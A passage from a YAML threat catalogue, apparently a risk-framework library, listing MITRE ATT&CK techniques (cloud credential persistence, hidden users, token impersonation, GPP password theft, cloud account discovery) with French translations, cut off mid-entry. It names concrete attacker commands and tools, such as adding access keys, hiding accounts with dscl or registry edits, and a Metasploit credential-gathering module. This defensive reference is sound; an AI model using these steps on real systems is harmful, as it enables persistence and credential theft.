      \ may generate or import their own SSH keys using either the <code>CreateKeyPair</code>\
      \ or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login\
      \ ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows\
      \ persistent access to instances within the cloud environment without further\
      \ usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation:\
      \ Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code>\
      \ API in AWS or the <code>gcloud iam service-accounts keys create</code> command\
      \ in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code>\
      \ API in AWS to add a password that can be used to log into the AWS Management\
      \ Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation:\
      \ Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024)\
      \ If the target account has different permissions from the requesting account,\
      \ the adversary may also be able to escalate their privileges in the environment\
      \ (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation:\
      \ Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel\
      \ 2.0) For example, in Entra ID environments, an adversary with the Application\
      \ Administrator role can add a new set of credentials to their application's\
      \ service principal. In doing so the adversary would be able to access the service\
      \ principal\u2019s roles and permissions, which may be different from those\
      \ of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)\
      \ \n\nIn AWS environments, adversaries with the appropriate permissions may\
      \ also use the `sts:GetFederationToken` API call to create a temporary set of\
      \ credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606)\
      \ tied to the permissions of the original user account. These temporary credentials\
      \ may remain valid for the duration of their lifetime even if the original account\u2019\
      s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation\
      \ Persistence)\n\nIn Entra ID environments with the app password feature enabled,\
      \ adversaries may be able to add an app password to a user account.(Citation:\
      \ Mandiant APT42 Operations 2024) As app passwords are intended to be used with\
      \ legacy devices that do not support multi-factor authentication (MFA), adding\
      \ an app password can allow an adversary to bypass MFA requirements. Additionally,\
      \ app passwords may remain valid even if the user\u2019s primary password is\
      \ reset.(Citation: Microsoft Entra ID App Passwords)\nhttps://attack.mitre.org/techniques/T1098/001"
    translations:
      fr:
        name: "Informations d\u2019identification cloud suppl\xE9mentaires"
        description: "Les adversaires peuvent ajouter des informations d'identification\
          \ contr\xF4l\xE9es par l'adversaire \xE0 un compte cloud pour maintenir\
          \ un acc\xE8s permanent aux comptes et instances de la victime dans l'environnement.\n\
          \nPar exemple, les adversaires peuvent ajouter des informations d'identification\
          \ pour les principaux services et les applications en plus des informations\
          \ d'identification l\xE9gitimes existantes dans Azure / Entra ID.(Citation\
          \ : Microsoft SolarWinds Customer Guidance)(Citation : Blue Cloud of Death)(Citation\
          \ : Blue Cloud of Death Video) Ces informations d'identification comprennent\
          \ \xE0 la fois des cl\xE9s x509 et des mots de passe. (Citation : Microsoft\
          \ SolarWinds Customer Guidance) Avec des autorisations suffisantes, il existe\
          \ plusieurs fa\xE7ons d'ajouter des informations d'identification, notamment\
          \ via le portail Azure, l'interface de ligne de commande Azure et les modules\
          \ Azure ou Azure PowerShell (Citation : Demystifying Azure AD Service Principals).\n\
          \nDans les environnements d'infrastructure en tant que service (IaaS), apr\xE8\
          s avoir obtenu un acc\xE8s via [Cloud Accounts] (https://attack.mitre.org/techniques/T1078/004),\
          \ les adversaires peuvent g\xE9n\xE9rer ou importer leurs propres cl\xE9\
          s SSH \xE0 l'aide de l'API CreateKeyPai ou <code>ImportKeyPair</code> dans\
          \ AWS ou de la commande gcloud compute os-login ssh-keys add dans GCP. (Citation\
          \ : GCP SSH Key Add) Cela permet un acc\xE8s permanent aux instances dans\
          \ l'environnement cloud sans utilisation ult\xE9rieure des comptes cloud\
          \ compromis.(Citation : Expel IO Evil in AWS)(Citation : Expel Behind the\
          \ Scenes).\n\nLes adversaires peuvent \xE9galement utiliser l'API CreateAccessKey\
          \ dans AWS ou la commande gcloud iam service-accounts keys create dans GCP\
          \ pour ajouter des cl\xE9s d'acc\xE8s \xE0 un compte. Ils peuvent \xE9galement\
          \ utiliser l'API CreateLoginProfile dans AWS pour ajouter un mot de passe\
          \ qui peut \xEAtre utilis\xE9 pour se connecter \xE0 la console de gestion\
          \ AWS pour [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation\
          \ : Permiso Scattered Spider 2023)(Citation : Lacework AI Resource Hijacking\
          \ 2024) Si le compte cible a des autorisations diff\xE9rentes de celles\
          \ du compte demandeur, l'adversaire peut \xE9galement \xEAtre en mesure\
          \ d'escalader ses privil\xE8ges dans l'environnement (c.-\xE0-d. [Cloud\
          \ Accounts](https://attack.mitre.org/techniques/T1538)). e. (Citation :\
          \ Rhino Security Labs AWS Privilege Escalation) (Citation : Sysdig ScarletEel\
          \ 2.0) Par exemple, dans les environnements Entra ID, un adversaire ayant\
          \ le r\xF4le d'administrateur d'application peut ajouter un nouvel ensemble\
          \ d'informations d'identification au principal de service de son application.\
          \ Ce faisant, l'adversaire serait en mesure d'acc\xE9der aux r\xF4les et\
          \ autorisations du principal de service, qui peuvent \xEAtre diff\xE9rents\
          \ de ceux de l'administrateur de l'application (Citation : SpecterOps Azure\
          \ Privilege Escalation).\n\nDans les environnements AWS, les adversaires\
          \ disposant des autorisations appropri\xE9es peuvent \xE9galement utiliser\
          \ l'appel API `sts:GetFederationToken` pour cr\xE9er un ensemble temporaire\
          \ d'informations d'identification pour [Forge Web Credentials] (https://attack.mitre.org/techniques/T1606)\
          \ li\xE9es aux autorisations du compte d'utilisateur d'origine. Ces identifiants\
          \ temporaires peuvent rester valides pendant toute leur dur\xE9e de vie,\
          \ m\xEAme si les identifiants API du compte d'origine sont d\xE9sactiv\xE9\
          s.\n(Citation : Crowdstrike AWS User Federation Persistence)\n\nDans les\
          \ environnements Entra ID avec la fonction de mot de passe d'application\
          \ activ\xE9e, les adversaires peuvent \xEAtre en mesure d'ajouter un mot\
          \ de passe d'application \xE0 un compte d'utilisateur. (Citation : Mandiant\
          \ APT42 Operations 2024) Comme les mots de passe d'application sont destin\xE9\
          s \xE0 \xEAtre utilis\xE9s avec des appareils anciens qui ne prennent pas\
          \ en charge l'authentification multifactorielle (MFA), l'ajout d'un mot\
          \ de passe d'application peut permettre \xE0 un adversaire de contourner\
          \ les exigences de MFA. En outre, les mots de passe d'application peuvent\
          \ rester valides m\xEAme si le mot de passe principal de l'utilisateur est\
          \ r\xE9initialis\xE9.(Citation : Microsoft Entra ID App Passwords)\nhttps://attack.mitre.org/techniques/T1098/001\""
  - urn: urn:intuitem:risk:threat:mitre-attack:t1204
    ref_id: T1204
    name: User Execution
    description: 'An adversary may rely upon specific actions by a user in order to
      gain execution. Users may be subjected to social engineering to get them to
      execute malicious code by, for example, opening a malicious document file or
      link. These user actions will typically be observed as follow-on behavior from
      forms of [Phishing](https://attack.mitre.org/techniques/T1566).


      While [User Execution](https://attack.mitre.org/techniques/T1204) frequently
      occurs shortly after Initial Access it may occur at other phases of an intrusion,
      such as when an adversary places a file in a shared directory or on a user''s
      desktop hoping that a user will click on it. This activity may also be seen
      shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).


      Adversaries may also deceive users into performing actions such as:


      * Enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219),
      allowing direct control of the system to the adversary

      * Running malicious JavaScript in their browser, allowing adversaries to [Steal
      Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos
      Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)

      * Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)

      * Coerceing users to copy, paste, and execute malicious code manually(Citation:
      Reliaquest-execution)(Citation: proofpoint-selfpwn)


      For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566),
      vishing, or various forms of user interaction. Adversaries can use a combination
      of these methods, such as spoofing and promoting toll-free numbers or call centers
      that are used to direct victims to malicious websites, to deliver and execute
      payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation:
      Telephone Attack Delivery)

      https://attack.mitre.org/techniques/T1204'
    translations:
      fr:
        name: "Ex\xE9cution par l\u2019utilisateur"
        description: "Un adversaire peut s\u2019appuyer sur des actions sp\xE9cifiques\
          \ de la part d\u2019un utilisateur afin d\u2019obtenir l\u2019ex\xE9cution.\
          \ Les utilisateurs peuvent \xEAtre soumis \xE0 l\u2019ing\xE9nierie sociale\
          \ pour les amener \xE0 ex\xE9cuter du code malveillant, par exemple en ouvrant\
          \ un fichier de document ou un lien malveillant. Ces actions de l\u2019\
          utilisateur sont g\xE9n\xE9ralement observ\xE9es comme des comportements\
          \ de suivi de formes de [Phishing](https://attack.mitre.org/techniques/T1566).\n\
          \nBien que [User Execution](https://attack.mitre.org/techniques/T1204) se\
          \ produise fr\xE9quemment peu de temps apr\xE8s l\u2019acc\xE8s initial,\
          \ il peut se produire \xE0 d\u2019autres phases d\u2019une intrusion, par\
          \ exemple lorsqu\u2019un adversaire place un fichier dans un r\xE9pertoire\
          \ partag\xE9 ou sur le bureau d\u2019un utilisateur en esp\xE9rant qu\u2019\
          un utilisateur cliquera dessus. Cette activit\xE9 peut \xE9galement \xEA\
          tre observ\xE9e peu de temps apr\xE8s [Spearphishing interne](https://attack.mitre.org/techniques/T1534).\n\
          \nLes adversaires peuvent \xE9galement inciter les utilisateurs \xE0 effectuer\
          \ des actions telles que :\n\n* Activation du [Logiciel d\u2019acc\xE8s\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1219), permettant\
          \ un contr\xF4le direct du syst\xE8me \xE0 l\u2019adversaire\n* Ex\xE9cuter\
          \ du JavaScript malveillant dans leur navigateur, permettant aux adversaires\
          \ de [Voler le cookie de session Web](https://attack.mitre.org/techniques/T1539)s(Citation\_\
          : Talos Roblox Scam 2023)(Citation\_: Krebs Discord Bookmarks 2023)\n* T\xE9\
          l\xE9chargement et ex\xE9cution de logiciels malveillants pour [User Execution](https://attack.mitre.org/techniques/T1204)\n\
          * Forcer les utilisateurs \xE0 copier, coller et ex\xE9cuter manuellement\
          \ du code malveillant (Citation : Reliaquest-execution)\n\nPar exemple,\
          \ les escroqueries au support technique peuvent \xEAtre facilit\xE9es par\
          \ le biais du [phishing](https://attack.mitre.org/techniques/T1566), de\
          \ l\u2019hame\xE7onnage vocal ou de diverses formes d\u2019interaction avec\
          \ l\u2019utilisateur. Les adversaires peuvent utiliser une combinaison de\
          \ ces m\xE9thodes, telles que l\u2019usurpation d\u2019identit\xE9 et la\
          \ promotion de num\xE9ros gratuits ou de centres d\u2019appels utilis\xE9\
          s pour diriger les victimes vers des sites Web malveillants, pour livrer\
          \ et ex\xE9cuter des charges utiles contenant des logiciels malveillants\
          \ ou un [logiciel d\u2019acc\xE8s \xE0 distance](https://attack.mitre.org/techniques/T1219).\
          \ (Citation : Attaque t\xE9l\xE9phonique)\nhttps://attack.mitre.org/techniques/T1204"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1491.001
    ref_id: T1491.001
    name: Internal Defacement
    description: 'An adversary may deface systems internal to an organization in an
      attempt to intimidate or mislead users, thus discrediting the integrity of the
      systems. This may take the form of modifications to internal websites, or directly
      to user systems with the replacement of the desktop wallpaper.(Citation: Novetta
      Blockbuster) Disturbing or offensive images may be used as a part of [Internal
      Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause
      user discomfort, or to pressure compliance with accompanying messages. Since
      internally defacing systems exposes an adversary''s presence, it often takes
      place after other intrusion goals have been accomplished.(Citation: Novetta
      Blockbuster Destructive Malware)

      https://attack.mitre.org/techniques/T1491/001'
    translations:
      fr:
        name: "D\xE9figuration interne"
        description: "Un adversaire peut d\xE9grader les syst\xE8mes internes d\u2019\
          une organisation dans le but d\u2019intimider ou d\u2019induire en erreur\
          \ les utilisateurs, discr\xE9ditant ainsi l\u2019int\xE9grit\xE9 des syst\xE8\
          mes. Cela peut prendre la forme de modifications apport\xE9es \xE0 des sites\
          \ Web internes ou directement aux syst\xE8mes de l\u2019utilisateur avec\
          \ le remplacement du fond d\u2019\xE9cran. (Citation : Novetta Blockbuster)\
          \ Des images d\xE9rangeantes ou offensantes peuvent \xEAtre utilis\xE9es\
          \ dans le cadre de [D\xE9gradation interne](https://attack.mitre.org/techniques/T1491/001)\
          \ afin de causer de l\u2019inconfort \xE0 l\u2019utilisateur ou de faire\
          \ pression sur le respect des messages d\u2019accompagnement. \xC9tant donn\xE9\
          \ que la d\xE9gradation interne des syst\xE8mes expose la pr\xE9sence d\u2019\
          un adversaire, elle a souvent lieu apr\xE8s que d\u2019autres objectifs\
          \ d\u2019intrusion ont \xE9t\xE9 atteints. (Citation : Logiciel malveillant\
          \ destructeur Novetta Blockbuster)\nhttps://attack.mitre.org/techniques/T1491/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.002
    ref_id: T1564.002
    name: Hidden Users
    description: "Adversaries may use hidden users to hide the presence of user accounts\
      \ they create or modify. Administrators may want to hide users when there are\
      \ many user accounts on a given system or if they want to hide their administrative\
      \ or other management accounts from other users. \n\nIn macOS, adversaries can\
      \ create or modify a user to be hidden through manipulating plist files, folder\
      \ attributes, and user attributes. To prevent a user from being shown on the\
      \ login screen and in System Preferences, adversaries can set the userID to\
      \ be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code>\
      \ in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation:\
      \ Cybereason OSX Pirrit) Every user has a userID associated with it. When the\
      \ <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with\
      \ a userID under 500 do not appear on the login screen and in System Preferences.\
      \ Using the command line, adversaries can use the <code>dscl</code> utility\
      \ to create hidden user accounts by setting the <code>IsHidden</code> attribute\
      \ to <code>1</code>. Adversaries can also hide a user\u2019s home folder by\
      \ changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide\
      \ a User Account) \n\nAdversaries may similarly hide user accounts in Windows.\
      \ Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\
      Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code>\
      \ for a specific user to prevent that user from being listed on the logon screen.(Citation:\
      \ FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems,\
      \ adversaries may hide user accounts from the login screen, also referred to\
      \ as the greeter. The method an adversary may use depends on which Display Manager\
      \ the distribution is currently using. For example, on an Ubuntu system using\
      \ the GNOME Display Manger (GDM), accounts may be hidden from the greeter using\
      \ the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen\
      \ disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display\
      \ Managers are not anchored to specific distributions and may be changed by\
      \ a user or adversary.\nhttps://attack.mitre.org/techniques/T1564/002"
    translations:
      fr:
        name: "Utilisateurs masqu\xE9s"
        description: "Les adversaires peuvent utiliser des utilisateurs masqu\xE9\
          s pour masquer la pr\xE9sence des comptes d\u2019utilisateurs qu\u2019ils\
          \ cr\xE9ent ou modifient. Les administrateurs peuvent vouloir masquer des\
          \ utilisateurs lorsqu\u2019il existe de nombreux comptes d\u2019utilisateurs\
          \ sur un syst\xE8me donn\xE9 ou s\u2019ils souhaitent masquer leurs comptes\
          \ d\u2019administration ou autres comptes de gestion \xE0 d\u2019autres\
          \ utilisateurs. \n\nSous macOS, les adversaires peuvent cr\xE9er ou modifier\
          \ un utilisateur \xE0 masquer en manipulant les fichiers plist, les attributs\
          \ de dossier et les attributs utilisateur. Pour \xE9viter qu\u2019un utilisateur\
          \ ne s\u2019affiche sur l\u2019\xE9cran de connexion et dans les Pr\xE9\
          f\xE9rences Syst\xE8me, les adversaires peuvent d\xE9finir l\u2019ID utilisateur\
          \ sur une valeur inf\xE9rieure \xE0 500 et d\xE9finir la valeur de cl\xE9\
          \ <code>Hide500Users</code> sur <code>TRUE</code> dans le fichier <code>plist\
          \ /Library/Preferences/com.apple.loginwindow</code>. (Citation : Cybereason\
          \ OSX Pirrit) Chaque utilisateur est associ\xE9 \xE0 un ID utilisateur.\
          \ Lorsque la valeur de la cl\xE9 <code>Hide500Users</code> est d\xE9finie\
          \ sur <code>TRUE,</code> les utilisateurs dont l\u2019ID utilisateur est\
          \ inf\xE9rieur \xE0 500 n\u2019apparaissent pas sur l\u2019\xE9cran de connexion\
          \ et dans les Pr\xE9f\xE9rences Syst\xE8me. \xC0 l\u2019aide de la ligne\
          \ de commande, les adversaires peuvent utiliser l\u2019utilitaire <code>dscl</code>\
          \ pour cr\xE9er des comptes d\u2019utilisateurs masqu\xE9s en d\xE9finissant\
          \ l\u2019attribut <code>IsHidden</code> sur <code>1</code>. Les adversaires\
          \ peuvent \xE9galement masquer le dossier d\u2019accueil d\u2019un utilisateur\
          \ en rempla\xE7ant les <code>chflags</code> par hidden. (Citation : Assistance\
          \ Apple Masquer un compte utilisateur) \n\nDe la m\xEAme mani\xE8re, les\
          \ adversaires peuvent masquer des comptes d\u2019utilisateurs dans Windows.\
          \ Les adversaires peuvent d\xE9finir la valeur de la cl\xE9 de registre\
          \ <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\
          SpecialAccounts\\UserList</code> sur <code>0</code> pour un utilisateur\
          \ sp\xE9cifique afin d\u2019emp\xEAcher cet utilisateur d\u2019\xEAtre r\xE9\
          pertori\xE9 sur l\u2019\xE9cran d\u2019ouverture de session. (Citation :\
          \ FireEye SMOKEDHAM, juin 2021)(R\xE9f\xE9rence : US-CERT TA18-074A)\n\n\
          Sur les syst\xE8mes Linux, les adversaires peuvent masquer les comptes d\u2019\
          utilisateurs \xE0 partir de l\u2019\xE9cran de connexion, \xE9galement appel\xE9\
          \ accueil. La m\xE9thode qu\u2019un adversaire peut utiliser d\xE9pend du\
          \ gestionnaire d\u2019affichage que la distribution utilise actuellement.\
          \ Par exemple, sur un syst\xE8me Ubuntu utilisant le gestionnaire d\u2019\
          affichage GNOME (GDM), les comptes peuvent \xEAtre cach\xE9s \xE0 l\u2019\
          accueil \xE0 l\u2019aide de la commande <code>gsettings</code> (ex : <code>sudo\
          \ -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).\
          \ (citation : Masquer les comptes d\u2019utilisateurs GDM) Les gestionnaires\
          \ d\u2019affichage ne sont pas ancr\xE9s \xE0 des distributions sp\xE9cifiques\
          \ et peuvent \xEAtre modifi\xE9s par un utilisateur ou un adversaire.\n\
          https://attack.mitre.org/techniques/T1564/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1134.003
    ref_id: T1134.003
    name: Make and Impersonate Token
    description: 'Adversaries may make new tokens and impersonate users to escalate
      privileges and bypass access controls. For example, if an adversary has a username
      and password but the user is not logged onto the system the adversary can then
      create a logon session for the user using the `LogonUser` function.(Citation:
      LogonUserW function) The function will return a copy of the new session''s access
      token and the adversary can use `SetThreadToken` to assign the token to a thread.


      This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)
      in that this refers to creating a new user token instead of stealing or duplicating
      an existing one.

      https://attack.mitre.org/techniques/T1134/003'
    translations:
      fr:
        name: "Cr\xE9er et emprunter l\u2019identit\xE9 d\u2019un jeton"
        description: "Les adversaires peuvent cr\xE9er de nouveaux jetons et usurper\
          \ l\u2019identit\xE9 des utilisateurs pour augmenter les privil\xE8ges et\
          \ contourner les contr\xF4les d\u2019acc\xE8s. Par exemple, si un adversaire\
          \ dispose d\u2019un nom d\u2019utilisateur et d\u2019un mot de passe, mais\
          \ que l\u2019utilisateur n\u2019est pas connect\xE9 au syst\xE8me, il peut\
          \ alors cr\xE9er une session d\u2019ouverture de session pour l\u2019utilisateur\
          \ \xE0 l\u2019aide de la fonction \xAB LogonUser \xBB. (Citation : Fonction\
          \ LogonUserW) La fonction renverra une copie du jeton d\u2019acc\xE8s de\
          \ la nouvelle session et l\u2019adversaire peut utiliser \xAB SetThreadToken\
          \ \xBB pour attribuer le jeton \xE0 un thread.\n\nCe comportement est distinct\
          \ de [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)\
          \ en ce sens qu\u2019il fait r\xE9f\xE9rence \xE0 la cr\xE9ation d\u2019\
          un nouveau token utilisateur au lieu de voler ou de dupliquer un token existant.\n\
          https://attack.mitre.org/techniques/T1134/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.006
    ref_id: T1552.006
    name: Group Policy Preferences
    description: "Adversaries may attempt to find unsecured credentials in Group Policy\
      \ Preferences (GPP). GPP are tools that allow administrators to create domain\
      \ policies with embedded credentials. These policies allow administrators to\
      \ set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies\
      \ are stored in SYSVOL on a domain controller. This means that any domain user\
      \ can view the SYSVOL share and decrypt the password (using the AES key that\
      \ has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools\
      \ and scripts can be used to gather and decrypt the password file from Group\
      \ Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module:\
      \ <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation:\
      \ Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share,\
      \ adversaries may use the following command to enumerate potential GPP XML files:\
      \ <code>dir /s * .xml</code>\nhttps://attack.mitre.org/techniques/T1552/006"
    translations:
      fr:
        name: "Pr\xE9f\xE9rences de strat\xE9gie de groupe"
        description: "Les adversaires peuvent tenter de trouver des informations d\u2019\
          identification non s\xE9curis\xE9es dans les pr\xE9f\xE9rences de strat\xE9\
          gie de groupe (GPP). Les GPP sont des outils qui permettent aux administrateurs\
          \ de cr\xE9er des politiques de domaine avec des informations d\u2019identification\
          \ int\xE9gr\xE9es. Ces r\xE8gles permettent aux administrateurs de d\xE9\
          finir des comptes locaux. (R\xE9f\xE9rence : Microsoft GPP 2016)\n\nCes\
          \ strat\xE9gies de groupe sont stock\xE9es dans SYSVOL sur un contr\xF4\
          leur de domaine. Cela signifie que tout utilisateur du domaine peut afficher\
          \ le partage SYSVOL et d\xE9chiffrer le mot de passe (\xE0 l\u2019aide de\
          \ la cl\xE9 AES qui a \xE9t\xE9 rendue publique). (Citation : Cl\xE9 Microsoft\
          \ GPP)\n\nLes outils et scripts suivants peuvent \xEAtre utilis\xE9s pour\
          \ collecter et d\xE9chiffrer le fichier de mot de passe \xE0 partir des\
          \ fichiers XML de pr\xE9f\xE9rence de strat\xE9gie de groupe :\n\n* Module\
          \ de post-exploitation de Metasploit : <code>post/windows/gather/credentials/gpp</code>\n\
          * Get-GPPPassword(Citation\_: obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\
          \nSur le partage SYSVOL, les adversaires peuvent utiliser la commande suivante\
          \ pour \xE9num\xE9rer les fichiers XML GPP potentiels : <code>dir /s * .xml</code>\n\
          https://attack.mitre.org/techniques/T1552/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1048.002
    ref_id: T1048.002
    name: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
    description: "Adversaries may steal data by exfiltrating it over an asymmetrically\
      \ encrypted network protocol other than that of the existing command and control\
      \ channel. The data may also be sent to an alternate network location from the\
      \ main command and control server. \n\nAsymmetric encryption algorithms are\
      \ those that use different keys on each end of the channel. Also known as public-key\
      \ cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt\
      \ data from the corresponding key. Each end of the communication channels requires\
      \ a private key (only in the procession of that entity) and the public key of\
      \ the other entity. The public keys of each entity are exchanged before encrypted\
      \ communications begin. \n\nNetwork protocols that use asymmetric encryption\
      \ (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged.\
      \ Adversaries may opt to use these encrypted mechanisms that are baked into\
      \ a protocol.\nhttps://attack.mitre.org/techniques/T1048/002"
    translations:
      fr:
        name: "Exfiltration via un protocole non-C2 chiffr\xE9 asym\xE9trique"
        description: "Les adversaires peuvent voler des donn\xE9es en les exfiltrant\
          \ via un protocole r\xE9seau crypt\xE9 de mani\xE8re asym\xE9trique autre\
          \ que celui du canal de commande et de contr\xF4le existant. Les donn\xE9\
          es peuvent \xE9galement \xEAtre envoy\xE9es \xE0 un autre emplacement r\xE9\
          seau \xE0 partir du serveur de commande et de contr\xF4le principal. \n\n\
          Les algorithmes de chiffrement asym\xE9triques sont ceux qui utilisent des\
          \ cl\xE9s diff\xE9rentes \xE0 chaque extr\xE9mit\xE9 du canal. \xC9galement\
          \ connue sous le nom de cryptographie \xE0 cl\xE9 publique, elle n\xE9cessite\
          \ des paires de cl\xE9s cryptographiques capables de chiffrer/d\xE9chiffrer\
          \ les donn\xE9es de la cl\xE9 correspondante. Chaque extr\xE9mit\xE9 des\
          \ canaux de communication n\xE9cessite une cl\xE9 priv\xE9e (uniquement\
          \ dans le cort\xE8ge de cette entit\xE9) et la cl\xE9 publique de l\u2019\
          autre entit\xE9. Les cl\xE9s publiques de chaque entit\xE9 sont \xE9chang\xE9\
          es avant le d\xE9but des communications chiffr\xE9es. \n\nLes protocoles\
          \ r\xE9seau qui utilisent le chiffrement asym\xE9trique (tels que HTTPS/TLS/SSL)\
          \ utilisent souvent le chiffrement sym\xE9trique une fois les cl\xE9s \xE9\
          chang\xE9es. Les adversaires peuvent choisir d\u2019utiliser ces m\xE9canismes\
          \ crypt\xE9s qui sont int\xE9gr\xE9s dans un protocole.\nhttps://attack.mitre.org/techniques/T1048/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1087.004
    ref_id: T1087.004
    name: Cloud Account
    description: "Adversaries may attempt to get a listing of cloud accounts. Cloud\
      \ accounts are those created and configured by an organization for use by users,\
      \ remote support, services, or for administration of resources within a cloud\
      \ service provider or SaaS application.\n\nWith authenticated access there are\
      \ several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code>\
      \ PowerShell cmdlet can be used to obtain account names given a role or permissions\
      \ group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub\
      \ Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user\
      \ accounts with authenticated access to a domain. The command <code>az ad user\
      \ list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation:\
      \ Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam\
      \ list-users</code> may be used to obtain a list of users in the current account\
      \ while <code>aws iam list-roles</code> can obtain IAM roles that have a specified\
      \ path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud\
      \ iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code>\
      \ may be used to obtain a listing of service accounts and users in a project.(Citation:\
      \ Google Cloud - IAM Servie Accounts List API)\nhttps://attack.mitre.org/techniques/T1087/004"
    translations:
      fr:
        name: Compte Cloud
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste de comptes\
          \ cloud. Les comptes cloud sont ceux cr\xE9\xE9s et configur\xE9s par une\
          \ organisation pour une utilisation par les utilisateurs, l\u2019assistance\
          \ \xE0 distance, les services ou l\u2019administration des ressources au\
          \ sein d\u2019un fournisseur de services cloud ou d\u2019une application\
          \ SaaS.\n\nAvec l\u2019acc\xE8s authentifi\xE9, il existe plusieurs outils\
          \ qui peuvent \xEAtre utilis\xE9s pour trouver des comptes. L\u2019applet\
          \ de commande PowerShell <code>Get-MsolRoleMember</code> peut \xEAtre utilis\xE9\
          e pour obtenir des noms de compte attribu\xE9s \xE0 un r\xF4le ou \xE0 un\
          \ groupe d\u2019autorisations dans Office 365. (Citation : Microsoft msolrolemember)(Citation\
          \ : GitHub Raindance) Azure CLI (AZ CLI) fournit \xE9galement une interface\
          \ permettant d\u2019obtenir des comptes d\u2019utilisateur avec un acc\xE8\
          s authentifi\xE9 \xE0 un domaine. La commande <code>az ad user list</code>\
          \ r\xE9pertorie tous les utilisateurs d\u2019un domaine. (Citation : Microsoft\
          \ AZ CLI)(Citation : Black Hills Red Teaming MS AD Azure, 2018) \n\nLa commande\
          \ AWS <code>aws iam list-users</code> peut \xEAtre utilis\xE9e pour obtenir\
          \ une liste d\u2019utilisateurs dans le compte actuel, tandis <code>qu\u2019\
          aws iam list-roles</code> peut obtenir des r\xF4les IAM qui ont un pr\xE9\
          fixe de chemin d\u2019acc\xE8s sp\xE9cifi\xE9. (Citation : R\xF4les de la\
          \ liste AWS)(Citation : Utilisateurs de la liste AWS) Dans GCP, <code>gcloud\
          \ iam service-accounts list</code> et <code>gcloud projects get-iam-policy</code>\
          \ peuvent \xEAtre utilis\xE9s pour obtenir une liste des comptes de service\
          \ et des utilisateurs d\u2019un projet. (citation : Google Cloud - API de\
          \ liste de comptes IAM Servie)\nhttps://attack.mitre.org/techniques/T1087/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1057
    ref_id: T1057
    name: Process Discovery
    description: "Adversaries may attempt to get information about running processes\
      \ on a system. Information obtained could be used to gain an understanding of\
      \ common software/applications running on systems within the network. Administrator\
      \ or otherwise elevated access may provide better process details. Adversaries\
      \ may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057)\
      \ during automated discovery to shape follow-on behaviors, including whether\
      \ or not the adversary fully infects the target and/or attempts specific actions.\n\
      \nIn Windows environments, adversaries could obtain details on running processes\
      \ using the [Tasklist](https://attack.mitre.org/software/S0057) utility via\
      \ [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code>\
      \ via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information\
      \ about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106)\
      \ calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this\
      \ is accomplished with the <code>ps</code> command. Adversaries may also opt\
      \ to enumerate processes via `/proc`. \n\nOn network devices, [Network Device\
      \ CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show\
